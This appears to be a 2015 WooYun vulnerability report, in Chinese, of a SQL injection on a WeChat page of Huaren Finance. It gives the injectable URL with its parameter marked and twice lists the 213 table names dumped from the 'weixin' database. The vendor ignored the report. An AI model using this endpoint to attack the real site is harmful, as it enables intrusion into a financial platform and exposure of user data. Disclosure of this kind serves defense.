当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114446

漏洞标题：国美旗下华人金融注入可以获奖 苹果各种设备

相关厂商：华人金融

漏洞作者： 路人甲

提交时间：2015-05-16 16:17

修复时间：2015-06-30 16:18

公开时间：2015-06-30 16:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

平台发挥资源整合与协同效应优势，使传统金融业务和互联网技术相结合，实现金融创新业务的飞速发展，致力于为大众用户提供全方位的互联网投融资服务。

详细说明：

注册点：http://wx.5262.com/index.php?token=psvgsb1430169428*&g=Ci&m=Member&a=Recommend&code=0114732deb357570756e5d7a9f1809el&state= (GET)
能查到我的注册的信息，不要封号哦
注入数据库：

Database: weixin
[213 tables]
+--------------------------------------+
| ycwx_access                          |
| ycwx_adma                            |
| ycwx_alipay_config                   |
| ycwx_api                             |
| ycwx_areply                          |
| ycwx_attribute                       |
| ycwx_behavior                        |
| ycwx_busines                         |
| ycwx_busines_comment                 |
| ycwx_busines_main                    |
| ycwx_busines_pic                     |
| ycwx_busines_second                  |
| ycwx_car                             |
| ycwx_car_utility                     |
| ycwx_carmodel                        |
| ycwx_carnews                         |
| ycwx_carowner                        |
| ycwx_carsaler                        |
| ycwx_carseries                       |
| ycwx_carset                          |
| ycwx_caruser                         |
| ycwx_case                            |
| ycwx_catemenu                        |
| ycwx_ci_checkin_log                  |
| ycwx_ci_draw_log                     |
| ycwx_ci_excharge_log                 |
| ycwx_ci_oauth                        |
| ycwx_ci_prize                        |
| ycwx_ci_score_log                    |
| ycwx_ci_user                         |
| ycwx_classify                        |
| ycwx_company                         |
| ycwx_company_staff                   |
| ycwx_dining                          |
| ycwx_dining_cat                      |
| ycwx_dining_company                  |
| ycwx_dining_diningtable              |
| ycwx_dining_table                    |
| ycwx_dish                            |
| ycwx_dish_company                    |
| ycwx_dish_like                       |
| ycwx_dish_order                      |
| ycwx_dish_sort                       |
| ycwx_dish_table                      |
| ycwx_diyform                         |
| ycwx_diyform_set                     |
| ycwx_diymen_class                    |
| ycwx_diymen_set                      |
| ycwx_ershou                          |
| ycwx_ershou_config                   |
| ycwx_estate                          |
| ycwx_estate_album                    |
| ycwx_estate_expert                   |
| ycwx_estate_housetype                |
| ycwx_estate_impress                  |
| ycwx_estate_impress_add              |
| ycwx_estate_son                      |
| ycwx_files                           |
| ycwx_flash                           |
| ycwx_forum_comment                   |
| ycwx_forum_config                    |
| ycwx_forum_message                   |
| ycwx_forum_topics                    |
| ycwx_function                        |
| ycwx_greeting_card                   |
| ycwx_home                            |
| ycwx_home_background                 |
| ycwx_host                            |
| ycwx_host_list_add                   |
| ycwx_host_order                      |
| ycwx_hotels_house                    |
| ycwx_hotels_house_sort               |
| ycwx_hotels_order                    |
| ycwx_img                             |
| ycwx_indent                          |
| ycwx_keyword                         |
| ycwx_leave                           |
| ycwx_links                           |
| ycwx_liveapp                         |
| ycwx_lottery                         |
| ycwx_lottery_cheat                   |
| ycwx_lottery_record                  |
| ycwx_market                          |
| ycwx_market_area                     |
| ycwx_market_cate                     |
| ycwx_market_nav                      |
| ycwx_market_park                     |
| ycwx_market_slide                    |
| ycwx_medical_set                     |
| ycwx_medical_user                    |
| ycwx_member                          |
| ycwx_member_card_contact             |
| ycwx_member_card_coupon              |
| ycwx_member_card_create              |
| ycwx_member_card_custom              |
| ycwx_member_card_exchange            |
| ycwx_member_card_focus               |
| ycwx_member_card_info                |
| ycwx_member_card_integral            |
| ycwx_member_card_notice              |
| ycwx_member_card_pay_record          |
| ycwx_member_card_set                 |
| ycwx_member_card_sign                |
| ycwx_member_card_use_record          |
| ycwx_member_card_vip                 |
| ycwx_moopha_article                  |
| ycwx_moopha_attachement              |
| ycwx_moopha_channel                  |
| ycwx_moopha_channel_contentattribute |
| ycwx_moopha_keywords                 |
| ycwx_moopha_picture                  |
| ycwx_moopha_site                     |
| ycwx_moopha_template                 |
| ycwx_moopha_user                     |
| ycwx_msg                             |
| ycwx_nearby_user                     |
| ycwx_node                            |
| ycwx_norms                           |
| ycwx_ordering_class                  |
| ycwx_ordering_set                    |
| ycwx_other                           |
| ycwx_panorama                        |
| ycwx_photo                           |
| ycwx_photo_list                      |
| ycwx_pic_wall                        |
| ycwx_pic_walllog                     |
| ycwx_product                         |
| ycwx_product_attribute               |
| ycwx_product_cart                    |
| ycwx_product_cart_list               |
| ycwx_product_cat                     |
| ycwx_product_detail                  |
| ycwx_product_diningtable             |
| ycwx_product_image                   |
| ycwx_product_mail_price              |
| ycwx_product_setting                 |
| ycwx_recipe                          |
| ycwx_recognition                     |
| ycwx_reply                           |
| ycwx_reply_info                      |
| ycwx_requestdata                     |
| ycwx_research                        |
| ycwx_research_answer                 |
| ycwx_research_question               |
| ycwx_research_result                 |
| ycwx_reservation                     |
| ycwx_reservebook                     |
| ycwx_role                            |
| ycwx_role_user                       |
| ycwx_router                          |
| ycwx_router_config                   |
| ycwx_school_classify                 |
| ycwx_school_score                    |
| ycwx_school_set_index                |
| ycwx_school_students                 |
| ycwx_school_tcourse                  |
| ycwx_school_teachers                 |
| ycwx_selfform                        |
| ycwx_selfform_input                  |
| ycwx_selfform_value                  |
| ycwx_send_message                    |
| ycwx_service_logs                    |
| ycwx_service_user                    |
| ycwx_setinfo                         |
| ycwx_shake                           |
| ycwx_shake_rt                        |
| ycwx_shakelog                        |
| ycwx_share                           |
| ycwx_share_set                       |
| ycwx_sign_conf                       |
| ycwx_sign_in                         |
| ycwx_sign_set                        |
| ycwx_site_plugmenu                   |
| ycwx_sms_expendrecord                |
| ycwx_sms_record                      |
| ycwx_snccode                         |
| ycwx_styleset                        |
| ycwx_system_info                     |
| ycwx_taobao                          |
| ycwx_text                            |
| ycwx_token_open                      |
| ycwx_update_record                   |
| ycwx_upgrade                         |
| ycwx_upyun_attachement               |
| ycwx_user                            |
| ycwx_user_group                      |
| ycwx_user_request                    |
| ycwx_userinfo                        |
| ycwx_users                           |
| ycwx_vcard                           |
| ycwx_vcard_list                      |
| ycwx_voiceresponse                   |
| ycwx_vote                            |
| ycwx_vote_item                       |
| ycwx_vote_record                     |
| ycwx_wall                            |
| ycwx_wall_member                     |
| ycwx_wall_message                    |
| ycwx_wall_prize_record               |
| ycwx_wecha_user                      |
| ycwx_wechat_group                    |
| ycwx_wechat_group_list               |
| ycwx_wecht_grout                     |
| ycwx_wedding                         |
| ycwx_wedding_info                    |
| ycwx_wehcat_member_enddate           |
| ycwx_wxuser                          |
| ycwx_ycemail                         |
| ycwx_ycsms                           |
| ycwx_yuyue                           |
| ycwx_yuyue_order                     |
| ycwx_yuyue_setcin                    |
| ycwx_zhida                           |
+--------------------------------------+


嘿嘿，正好官网举行活动， watch 免费送 ，好心动 。最终止住诱惑，默默提交

漏洞证明：

注册点：http://wx.5262.com/index.php?token=psvgsb1430169428*&g=Ci&m=Member&a=Recommend&code=0114732deb357570756e5d7a9f1809el&state= (GET)
能查到我的注册的信息，不要封号哦
注入数据库：

Database: weixin
[213 tables]
+--------------------------------------+
| ycwx_access                          |
| ycwx_adma                            |
| ycwx_alipay_config                   |
| ycwx_api                             |
| ycwx_areply                          |
| ycwx_attribute                       |
| ycwx_behavior                        |
| ycwx_busines                         |
| ycwx_busines_comment                 |
| ycwx_busines_main                    |
| ycwx_busines_pic                     |
| ycwx_busines_second                  |
| ycwx_car                             |
| ycwx_car_utility                     |
| ycwx_carmodel                        |
| ycwx_carnews                         |
| ycwx_carowner                        |
| ycwx_carsaler                        |
| ycwx_carseries                       |
| ycwx_carset                          |
| ycwx_caruser                         |
| ycwx_case                            |
| ycwx_catemenu                        |
| ycwx_ci_checkin_log                  |
| ycwx_ci_draw_log                     |
| ycwx_ci_excharge_log                 |
| ycwx_ci_oauth                        |
| ycwx_ci_prize                        |
| ycwx_ci_score_log                    |
| ycwx_ci_user                         |
| ycwx_classify                        |
| ycwx_company                         |
| ycwx_company_staff                   |
| ycwx_dining                          |
| ycwx_dining_cat                      |
| ycwx_dining_company                  |
| ycwx_dining_diningtable              |
| ycwx_dining_table                    |
| ycwx_dish                            |
| ycwx_dish_company                    |
| ycwx_dish_like                       |
| ycwx_dish_order                      |
| ycwx_dish_sort                       |
| ycwx_dish_table                      |
| ycwx_diyform                         |
| ycwx_diyform_set                     |
| ycwx_diymen_class                    |
| ycwx_diymen_set                      |
| ycwx_ershou                          |
| ycwx_ershou_config                   |
| ycwx_estate                          |
| ycwx_estate_album                    |
| ycwx_estate_expert                   |
| ycwx_estate_housetype                |
| ycwx_estate_impress                  |
| ycwx_estate_impress_add              |
| ycwx_estate_son                      |
| ycwx_files                           |
| ycwx_flash                           |
| ycwx_forum_comment                   |
| ycwx_forum_config                    |
| ycwx_forum_message                   |
| ycwx_forum_topics                    |
| ycwx_function                        |
| ycwx_greeting_card                   |
| ycwx_home                            |
| ycwx_home_background                 |
| ycwx_host                            |
| ycwx_host_list_add                   |
| ycwx_host_order                      |
| ycwx_hotels_house                    |
| ycwx_hotels_house_sort               |
| ycwx_hotels_order                    |
| ycwx_img                             |
| ycwx_indent                          |
| ycwx_keyword                         |
| ycwx_leave                           |
| ycwx_links                           |
| ycwx_liveapp                         |
| ycwx_lottery                         |
| ycwx_lottery_cheat                   |
| ycwx_lottery_record                  |
| ycwx_market                          |
| ycwx_market_area                     |
| ycwx_market_cate                     |
| ycwx_market_nav                      |
| ycwx_market_park                     |
| ycwx_market_slide                    |
| ycwx_medical_set                     |
| ycwx_medical_user                    |
| ycwx_member                          |
| ycwx_member_card_contact             |
| ycwx_member_card_coupon              |
| ycwx_member_card_create              |
| ycwx_member_card_custom              |
| ycwx_member_card_exchange            |
| ycwx_member_card_focus               |
| ycwx_member_card_info                |
| ycwx_member_card_integral            |
| ycwx_member_card_notice              |
| ycwx_member_card_pay_record          |
| ycwx_member_card_set                 |
| ycwx_member_card_sign                |
| ycwx_member_card_use_record          |
| ycwx_member_card_vip                 |
| ycwx_moopha_article                  |
| ycwx_moopha_attachement              |
| ycwx_moopha_channel                  |
| ycwx_moopha_channel_contentattribute |
| ycwx_moopha_keywords                 |
| ycwx_moopha_picture                  |
| ycwx_moopha_site                     |
| ycwx_moopha_template                 |
| ycwx_moopha_user                     |
| ycwx_msg                             |
| ycwx_nearby_user                     |
| ycwx_node                            |
| ycwx_norms                           |
| ycwx_ordering_class                  |
| ycwx_ordering_set                    |
| ycwx_other                           |
| ycwx_panorama                        |
| ycwx_photo                           |
| ycwx_photo_list                      |
| ycwx_pic_wall                        |
| ycwx_pic_walllog                     |
| ycwx_product                         |
| ycwx_product_attribute               |
| ycwx_product_cart                    |
| ycwx_product_cart_list               |
| ycwx_product_cat                     |
| ycwx_product_detail                  |
| ycwx_product_diningtable             |
| ycwx_product_image                   |
| ycwx_product_mail_price              |
| ycwx_product_setting                 |
| ycwx_recipe                          |
| ycwx_recognition                     |
| ycwx_reply                           |
| ycwx_reply_info                      |
| ycwx_requestdata                     |
| ycwx_research                        |
| ycwx_research_answer                 |
| ycwx_research_question               |
| ycwx_research_result                 |
| ycwx_reservation                     |
| ycwx_reservebook                     |
| ycwx_role                            |
| ycwx_role_user                       |
| ycwx_router                          |
| ycwx_router_config                   |
| ycwx_school_classify                 |
| ycwx_school_score                    |
| ycwx_school_set_index                |
| ycwx_school_students                 |
| ycwx_school_tcourse                  |
| ycwx_school_teachers                 |
| ycwx_selfform                        |
| ycwx_selfform_input                  |
| ycwx_selfform_value                  |
| ycwx_send_message                    |
| ycwx_service_logs                    |
| ycwx_service_user                    |
| ycwx_setinfo                         |
| ycwx_shake                           |
| ycwx_shake_rt                        |
| ycwx_shakelog                        |
| ycwx_share                           |
| ycwx_share_set                       |
| ycwx_sign_conf                       |
| ycwx_sign_in                         |
| ycwx_sign_set                        |
| ycwx_site_plugmenu                   |
| ycwx_sms_expendrecord                |
| ycwx_sms_record                      |
| ycwx_snccode                         |
| ycwx_styleset                        |
| ycwx_system_info                     |
| ycwx_taobao                          |
| ycwx_text                            |
| ycwx_token_open                      |
| ycwx_update_record                   |
| ycwx_upgrade                         |
| ycwx_upyun_attachement               |
| ycwx_user                            |
| ycwx_user_group                      |
| ycwx_user_request                    |
| ycwx_userinfo                        |
| ycwx_users                           |
| ycwx_vcard                           |
| ycwx_vcard_list                      |
| ycwx_voiceresponse                   |
| ycwx_vote                            |
| ycwx_vote_item                       |
| ycwx_vote_record                     |
| ycwx_wall                            |
| ycwx_wall_member                     |
| ycwx_wall_message                    |
| ycwx_wall_prize_record               |
| ycwx_wecha_user                      |
| ycwx_wechat_group                    |
| ycwx_wechat_group_list               |
| ycwx_wecht_grout                     |
| ycwx_wedding                         |
| ycwx_wedding_info                    |
| ycwx_wehcat_member_enddate           |
| ycwx_wxuser                          |
| ycwx_ycemail                         |
| ycwx_ycsms                           |
| ycwx_yuyue                           |
| ycwx_yuyue_order                     |
| ycwx_yuyue_setcin                    |
| ycwx_zhida                           |
+--------------------------------------+


嘿嘿，正好官网举行活动， watch 免费送 ，好心动 。最终止住诱惑，默默提交

修复方案：

过滤
求送礼物 watch

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)